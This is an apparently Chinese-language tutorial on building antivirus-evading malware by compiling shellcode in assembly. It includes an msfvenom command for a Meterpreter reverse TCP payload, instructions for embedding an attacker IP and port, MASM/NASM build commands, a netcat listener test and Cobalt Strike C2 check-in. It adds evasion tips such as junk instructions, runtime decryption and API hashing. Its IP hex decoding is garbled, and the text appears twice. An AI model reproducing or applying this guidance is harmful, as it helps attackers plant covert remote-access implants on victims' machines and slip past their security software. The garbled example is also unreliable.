编译汇编代码实现免杀
字数 1328 2025-08-12 11:34:25

使用汇编语言编译免杀Shellcode的完整指南

前言

本文介绍了一种通过直接编写汇编代码并使用NASM或MASM编译生成可执行文件(EXE)来实现免杀的技术。这种方法避免了传统方法中需要导入表函数或使用VirtualAlloc分配内存的痕迹,直接将shellcode嵌入汇编代码中执行。

工具准备

  1. MASM32工具包:包含ml.exe(汇编编译器)和link.exe(链接器)
  2. NASM:另一种流行的汇编编译器
  3. HRSword工具:用于网络监听和分析
  4. Metasploit Framework(MSF):生成shellcode
  5. Cobalt Strike(CS):用于建立C2连接

基本思路

传统方法

  1. 生成shellcode
  2. 用高级语言(如C/C++)加载运行shellcode
  3. 编译生成可执行文件

汇编方法

  1. 直接将shellcode上线逻辑用汇编语言编写
  2. 使用汇编编译器生成目标文件(.obj)
  3. 使用链接器生成可执行文件(.exe)

详细步骤

1. 生成shellcode

使用MSF或其他工具生成shellcode,例如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f hex

2. 编写汇编代码

将shellcode转换为汇编格式,编写完整的汇编程序。示例结构:

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib

.code
start:
    ; 这里是shellcode的汇编实现
    ; 例如网络连接、加载payload等代码
    ; 示例中的IP和端口被编码为16进制形式
    ; 30h,31h,32h,2dh,34h,35h,2dh,30h,35h,32h,2dh,XXh,XXh,XXh 表示IP地址
    ; 52h 表示端口82(52h=82)
    
    ; 示例中的协议是HTTP
    ret
    
end start

3. 修改关键参数

  1. IP地址修改

    • 原始示例中的IP编码:30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
    • 解码为:1.0.3.2.1.3 → 10.130.4.204
    • 修改为自己的IP:例如123.56.163.XX转换为30h,31h,32h,2dh,34h,35h,2dh,30h,35h,32h,2dh,XXh,XXh,XXh
  2. 端口修改

    • 示例中52h=82
    • 修改为自己的端口号,注意转换为16进制

4. 编译汇编代码

使用MASM32工具链编译:

ml /c /coff /Cp masm.asm  # 编译为obj文件
link /subsystem:windows masm.obj  # 生成exe文件

或使用NASM:

nasm -f win32 shellcode.asm -o shellcode.obj
link /subsystem:windows /entry:start shellcode.obj kernel32.lib /out:shellcode.exe

5. 测试连接

  1. 在服务器上设置监听:

    nc -lvvp 80  # 使用与代码中相同的端口
    
  2. 执行生成的exe文件,验证连接是否成功

6. Cobalt Strike上线

  1. 在CS中新建监听器,选择与代码中一致的协议和端口
  2. 执行exe文件,验证是否成功上线

免杀优势分析

  1. 无导入表痕迹:直接使用汇编实现,避免了传统方法中需要导入API函数的痕迹
  2. 内存操作隐蔽:不需要使用VirtualAlloc等显眼的内存分配函数
  3. 代码自包含:所有功能都在汇编代码中实现,没有外部依赖
  4. 可定制性高:可以灵活修改代码结构和逻辑,绕过静态检测

注意事项

  1. 编码转换:IP地址和端口需要正确转换为16进制形式
  2. 协议选择:示例中使用HTTP协议,可根据需要修改
  3. 杀软规避:虽然这种方法有一定免杀效果,但Virustotal等平台仍可能检测到
  4. 测试环境:建议在隔离的测试环境中进行实验
  5. 代码混淆:可以进一步对汇编代码进行混淆增强免杀效果

进阶技巧

  1. 添加花指令:在汇编代码中插入无意义但不影响执行的指令
  2. 动态解密:对关键部分代码进行加密,运行时解密
  3. API动态调用:使用hash查找或手动加载DLL的方式调用API
  4. 多阶段加载:将payload分阶段加载执行

通过这种方法生成的恶意程序相比传统方法具有更好的免杀效果,但需要一定的汇编语言基础和调试能力。

使用汇编语言编译免杀Shellcode的完整指南 前言 本文介绍了一种通过直接编写汇编代码并使用NASM或MASM编译生成可执行文件(EXE)来实现免杀的技术。这种方法避免了传统方法中需要导入表函数或使用VirtualAlloc分配内存的痕迹,直接将shellcode嵌入汇编代码中执行。 工具准备 MASM32工具包 :包含ml.exe(汇编编译器)和link.exe(链接器) NASM :另一种流行的汇编编译器 HRSword工具 :用于网络监听和分析 Metasploit Framework(MSF) :生成shellcode Cobalt Strike(CS) :用于建立C2连接 基本思路 传统方法 生成shellcode 用高级语言(如C/C++)加载运行shellcode 编译生成可执行文件 汇编方法 直接将shellcode上线逻辑用汇编语言编写 使用汇编编译器生成目标文件(.obj) 使用链接器生成可执行文件(.exe) 详细步骤 1. 生成shellcode 使用MSF或其他工具生成shellcode,例如: 2. 编写汇编代码 将shellcode转换为汇编格式,编写完整的汇编程序。示例结构: 3. 修改关键参数 IP地址修改 : 原始示例中的IP编码:30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h 解码为:1.0.3.2.1.3 → 10.130.4.204 修改为自己的IP:例如123.56.163.XX转换为30h,31h,32h,2dh,34h,35h,2dh,30h,35h,32h,2dh,XXh,XXh,XXh 端口修改 : 示例中52h=82 修改为自己的端口号,注意转换为16进制 4. 编译汇编代码 使用MASM32工具链编译: 或使用NASM: 5. 测试连接 在服务器上设置监听: 执行生成的exe文件,验证连接是否成功 6. Cobalt Strike上线 在CS中新建监听器,选择与代码中一致的协议和端口 执行exe文件,验证是否成功上线 免杀优势分析 无导入表痕迹 :直接使用汇编实现,避免了传统方法中需要导入API函数的痕迹 内存操作隐蔽 :不需要使用VirtualAlloc等显眼的内存分配函数 代码自包含 :所有功能都在汇编代码中实现,没有外部依赖 可定制性高 :可以灵活修改代码结构和逻辑,绕过静态检测 注意事项 编码转换 :IP地址和端口需要正确转换为16进制形式 协议选择 :示例中使用HTTP协议,可根据需要修改 杀软规避 :虽然这种方法有一定免杀效果,但Virustotal等平台仍可能检测到 测试环境 :建议在隔离的测试环境中进行实验 代码混淆 :可以进一步对汇编代码进行混淆增强免杀效果 进阶技巧 添加花指令 :在汇编代码中插入无意义但不影响执行的指令 动态解密 :对关键部分代码进行加密,运行时解密 API动态调用 :使用hash查找或手动加载DLL的方式调用API 多阶段加载 :将payload分阶段加载执行 通过这种方法生成的恶意程序相比传统方法具有更好的免杀效果,但需要一定的汇编语言基础和调试能力。